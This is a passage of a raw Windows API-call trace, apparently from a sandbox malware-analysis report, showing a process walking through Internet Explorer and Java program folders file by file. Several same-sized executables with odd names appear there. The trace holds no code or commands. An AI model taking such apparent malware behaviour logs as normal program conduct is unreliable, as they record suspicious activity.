	[0244.183] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.183] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="bing.ico", cAlternateFileName="")) returned 1
	[0244.183] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.183] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0244.183] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0244.184] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536)) returned 1
	[0244.224] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0244.225] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\punch.exe" (normalized: "c:\\program files\\internet explorer\\punch.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e8c1e70, ftCreationTime.dwHighDateTime=0x1d59ff6, ftLastAccessTime.dwLowDateTime=0x1b13d280, ftLastAccessTime.dwHighDateTime=0x1d5cb4a, ftLastWriteTime.dwLowDateTime=0x1b13d280, ftLastWriteTime.dwHighDateTime=0x1d5cb4a, nFileSizeHigh=0x0, nFileSizeLow=0x13a00)) returned 1
	[0244.236] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0244.236] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218)) returned 1
	[0244.246] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0244.247] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\tenderanybody.exe" (normalized: "c:\\program files\\internet explorer\\tenderanybody.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x135845c0, ftCreationTime.dwHighDateTime=0x1d5ed01, ftLastAccessTime.dwLowDateTime=0x260bed0, ftLastAccessTime.dwHighDateTime=0x1d5ccfb, ftLastWriteTime.dwLowDateTime=0x260bed0, ftLastWriteTime.dwHighDateTime=0x1d5ccfb, nFileSizeHigh=0x0, nFileSizeLow=0x13a00)) returned 1
	[0244.251] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0244.251] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\thunderbird.exe" (normalized: "c:\\program files\\internet explorer\\thunderbird.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1bb0880, ftCreationTime.dwHighDateTime=0x1d5a8ae, ftLastAccessTime.dwLowDateTime=0x921336f0, ftLastAccessTime.dwHighDateTime=0x1d5a41c, ftLastWriteTime.dwLowDateTime=0x921336f0, ftLastWriteTime.dwHighDateTime=0x1d5a41c, nFileSizeHigh=0x0, nFileSizeLow=0x13a00)) returned 1
	[0244.253] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0244.254] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java" (normalized: "c:\\program files\\java"), fInfoLevelId=0x0, lpFileInformation=0xc0001dfa18 | out: lpFileInformation=0xc0001dfa18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe71239bc, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71239bc, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.268] CreateFileW (lpFileName="C:\\Program Files\\Java" (normalized: "c:\\program files\\java"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.268] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\*", lpFindFileData=0xc0001df7d0 | out: lpFindFileData=0xc0001df7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe71239bc, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71239bc, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0244.269] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe71239bc, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71239bc, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.269] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 1
	[0244.269] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd593b530, ftCreationTime.dwHighDateTime=0x1d5cd07, ftLastAccessTime.dwLowDateTime=0x93f83f20, ftLastAccessTime.dwHighDateTime=0x1d5a362, ftLastWriteTime.dwLowDateTime=0x93f83f20, ftLastWriteTime.dwHighDateTime=0x1d5a362, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="smartftp.exe", cAlternateFileName="")) returned 1
	[0244.269] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69906d0, ftCreationTime.dwHighDateTime=0x1d5b3a4, ftLastAccessTime.dwLowDateTime=0x87fd25b0, ftLastAccessTime.dwHighDateTime=0x1d5ade8, ftLastWriteTime.dwLowDateTime=0x87fd25b0, ftLastWriteTime.dwHighDateTime=0x1d5ade8, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="whatsapp.exe", cAlternateFileName="")) returned 1
	[0244.269] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.269] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0244.269] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0xc0001df9cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df9cc, lpOverlapped=0x0) returned 0
	[0244.269] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144" (normalized: "c:\\program files\\java\\jre1.8.0_144"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.270] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144" (normalized: "c:\\program files\\java\\jre1.8.0_144"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.270] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\*", lpFindFileData=0xc0001df6f8 | out: lpFindFileData=0xc0001df6f8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd520
	[0244.274] SetEvent (hEvent=0x124) returned 1
	[0244.274] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.274] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1
	[0244.274] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1
	[0244.275] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lib", cAlternateFileName="")) returned 1
	[0244.275] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0244.275] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1
	[0244.275] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x210, dwReserved0=0x0, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1
	[0244.275] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="THIRDP~1.TXT")) returned 1
	[0244.275] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2371c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="THIRDP~2.TXT")) returned 1
	[0244.275] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 1
	[0244.275] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.275] FindClose (in: hFindFile=0x192c63cd520 | out: hFindFile=0x192c63cd520) returned 1
	[0244.277] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0244.277] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac)) returned 1
	[0244.285] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0244.285] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28)) returned 1
	[0244.285] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0244.285] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e)) returned 1
	[0244.292] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0244.293] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0244.293] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9bd)) returned 1
	[0244.293] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0244.293] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0244.293] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2371c)) returned 1
	[0244.328] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0244.328] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0244.328] SetEvent (hEvent=0xf0) returned 1
	[0244.328] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb)) returned 1
	[0244.386] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0244.387] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0244.387] SetEvent (hEvent=0x190) returned 1
	[0244.387] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.479] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
